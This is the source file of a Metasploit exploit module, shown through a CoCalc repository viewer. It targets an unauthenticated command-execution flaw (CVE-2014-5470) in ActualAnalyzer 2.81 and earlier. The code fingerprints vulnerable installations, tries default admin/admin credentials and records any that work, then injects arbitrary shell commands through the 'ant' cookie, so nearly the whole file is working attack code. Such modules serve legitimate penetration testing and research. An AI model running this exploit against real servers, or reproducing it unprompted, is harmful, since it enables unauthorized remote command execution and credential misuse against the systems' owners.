CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(
13
info,
14
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
15
'Description' => %q{
16
This module exploits a command execution vulnerability in
17
ActualAnalyzer version 2.81 and prior.
18
19
The 'aa.php' file allows unauthenticated users to
20
execute arbitrary commands in the 'ant' cookie.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Benjamin Harris', # Discovery and exploit
26
'bcoles' # Metasploit
27
],
28
'References' =>
29
[
30
['CVE', '2014-5470'],
31
['EDB', '34450'],
32
['OSVDB', '110601']
33
],
34
'Payload' =>
35
{
36
'Space' => 4096, # HTTP cookie
37
'DisableNops' => true,
38
'BadChars' => "\x00"
39
},
40
'Arch' => ARCH_CMD,
41
'Platform' => 'unix',
42
'Targets' =>
43
[
44
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
45
['ActualAnalyzer <= 2.81', { 'auto' => true }]
46
],
47
'Privileged' => false,
48
'DisclosureDate' => '2014-08-28',
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
54
OptString.new('USERNAME', [true, 'The username for ActualAnalyzer', 'admin']),
55
OptString.new('PASSWORD', [true, 'The password for ActualAnalyzer', 'admin']),
56
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
57
])
58
end
59
60
#
61
# Checks if target is running ActualAnalyzer <= 2.81
62
#
63
def check
64
# check for aa.php
65
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
66
if !res
67
vprint_error("Connection failed")
68
return Exploit::CheckCode::Unknown
69
elsif res.code == 404
70
vprint_error("Could not find aa.php")
71
return Exploit::CheckCode::Safe
72
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
73
vprint_error("ActualAnalyzer is not installed. Try installing first.")
74
return Exploit::CheckCode::Detected
75
end
76
# check version
77
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
78
if !res
79
vprint_error("Connection failed")
80
return Exploit::CheckCode::Unknown
81
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
82
vprint_status("Found version: #{version}")
83
if Rex::Version.new(version) <= Rex::Version.new('2.81')
84
report_vuln(
85
host: rhost,
86
name: self.name,
87
info: "Module #{fullname} detected ActualAnalyzer #{version}",
88
refs: references,
89
)
90
return Exploit::CheckCode::Vulnerable
91
end
92
return Exploit::CheckCode::Detected
93
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
94
return Exploit::CheckCode::Detected
95
end
96
Exploit::CheckCode::Safe
97
end
98
99
#
100
# Try to retrieve a valid analytics host from view.php unauthenticated
101
#
102
def get_analytics_host_view
103
analytics_host = nil
104
res = send_request_cgi(
105
'method' => 'POST',
106
'uri' => normalize_uri(target_uri.path, 'view.php'),
107
'vars_post' => {
108
'id_h' => '',
109
'listp' => '',
110
'act_h' => 'vis_int',
111
'oldact' => 'vis_grpg',
112
'tint_h' => '',
113
'extact_h' => '',
114
'home_pos' => '',
115
'act' => 'vis_grpg',
116
'tint' => 'total',
117
'grpg' => '201',
118
'cp_vst' => 'on',
119
'cp_hst' => 'on',
120
'cp_htst' => 'on',
121
'cp_reps' => 'y',
122
'tab_sort' => '1_1'
123
}
124
)
125
if !res
126
vprint_error("Connection failed")
127
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
128
vprint_good("Found analytics host: #{analytics_host}")
129
return analytics_host
130
else
131
vprint_status("Could not find any hosts on view.php")
132
end
133
nil
134
end
135
136
#
137
# Try to retrieve a valid analytics host from code.php unauthenticated
138
#
139
def get_analytics_host_code
140
analytics_host = nil
141
res = send_request_cgi(
142
'uri' => normalize_uri(target_uri.path, 'code.php'),
143
'vars_get' => {
144
'pid' => '1'
145
}
146
)
147
if !res
148
vprint_error("Connection failed")
149
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
150
vprint_good("Found analytics host: #{analytics_host}")
151
return analytics_host
152
else
153
vprint_status("Could not find any hosts on code.php")
154
end
155
nil
156
end
157
158
#
159
# Try to retrieve a valid analytics host from admin.php with creds
160
#
161
def get_analytics_host_admin
162
analytics_host = nil
163
user = datastore['USERNAME']
164
pass = datastore['PASSWORD']
165
res = send_request_cgi(
166
'method' => 'POST',
167
'uri' => normalize_uri(target_uri.path, 'admin.php'),
168
'vars_post' => {
169
'uname' => user,
170
'passw' => pass,
171
'id_h' => '',
172
'listp' => '',
173
'act_h' => '',
174
'oldact' => 'pages',
175
'tint_h' => '',
176
'extact_h' => '',
177
'param_h' => '',
178
'param2_h' => '',
179
'home_pos' => '',
180
'act' => 'dynhtml',
181
'set.x' => '11',
182
'set.y' => '11'
183
}
184
)
185
if !res
186
vprint_error("Connection failed")
187
elsif res.code == 200 && res.body =~ />Login</
188
vprint_error("Login failed")
189
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
190
vprint_good("Found analytics host: #{analytics_host}")
191
print_good("Login Successful (#{user}:#{pass})")
192
store_valid_credential(user: user, private: pass)
193
return analytics_host
194
else
195
vprint_error("Could not find any hosts on admin.php")
196
end
197
nil
198
end
199
200
def execute_command(cmd, opts = { analytics_host: vhost })
201
vuln_cookies = %w(anw anm)
202
res = send_request_cgi(
203
'uri' => normalize_uri(target_uri.path, 'aa.php'),
204
'vars_get' => { 'anp' => opts[:analytics_host] },
205
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
206
)
207
if !res
208
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
209
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
210
print_good("Payload sent successfully")
211
return true
212
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
213
vprint_status("Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
214
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
215
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
216
else
217
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
218
end
219
nil
220
end
221
222
def exploit
223
return unless check == Exploit::CheckCode::Vulnerable
224
analytics_hosts = []
225
if datastore['ANALYZER_HOST'].blank?
226
analytics_hosts << get_analytics_host_code
227
analytics_hosts << get_analytics_host_view
228
analytics_hosts << get_analytics_host_admin
229
analytics_hosts << vhost
230
analytics_hosts << '127.0.0.1'
231
analytics_hosts << 'localhost'
232
else
233
analytics_hosts << datastore['ANALYZER_HOST']
234
end
235
analytics_hosts.uniq.each do |host|
236
next if host.nil?
237
vprint_status("Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
238
break if execute_command(payload.encoded, analytics_host: host)
239
end
240
end
241
end
242
243